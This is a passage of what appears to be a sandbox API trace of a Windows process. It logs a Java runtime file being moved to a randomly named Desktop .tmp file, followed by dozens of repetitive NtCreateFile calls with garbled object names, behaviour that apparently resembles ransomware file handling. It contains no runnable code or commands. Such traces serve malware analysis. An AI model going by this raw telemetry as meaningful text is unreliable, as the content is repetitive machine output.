(x86)\\java\\jre7\\lib\\jvm.hprof.txt.jest")) returned 1 [0171.689] VarBstrFromR4 (in: fltIn=0x47945aa1, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75957.26") returned 0x0 [0171.690] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\DqHU7meDtcFHWcQVvRVmZ7LiVm7ymhQwHa31ZcMWODp2qq0HedT2u6-Ll_2qzc9fovtv 98JQ8FtSN4fINgjAQxQgP6zoeTCx27lP.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\dqhu7medtcfhwcqvvrvmz7livm7ymhqwha31zcmwodp2qq0hedt2u6-ll_2qzc9fovtv 98jq8ftsn4fingjaqxqgp6zoetcx27lp.tmp")) returned 0 [0171.690] GetLastError () returned 0x2 [0171.698] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.699] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.701] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.701] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.710] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፲\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.777] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፵\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.778] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.779] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.779] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፷\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.780] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.780] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.781] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፻\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.781] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="፿\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.782] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎁ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.782] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎃ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.783] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎅ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.783] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.784] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎉ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.784] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᎋ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.785] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎑\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.786] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎗\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.787] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎙\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.788] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎛\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.788] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.789] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᎟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.789] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭱ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.790] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭳ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.790] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭵ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.791] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭷ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.857] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭹ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.857] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭻ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.858] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="Ꭽ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.859] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.859] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.860] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.860] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.861] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.861] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.861] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.861] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.862] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.862] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.869] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.870] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.881] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.882] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.884] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.885] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.893] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0171.935] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚍ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), 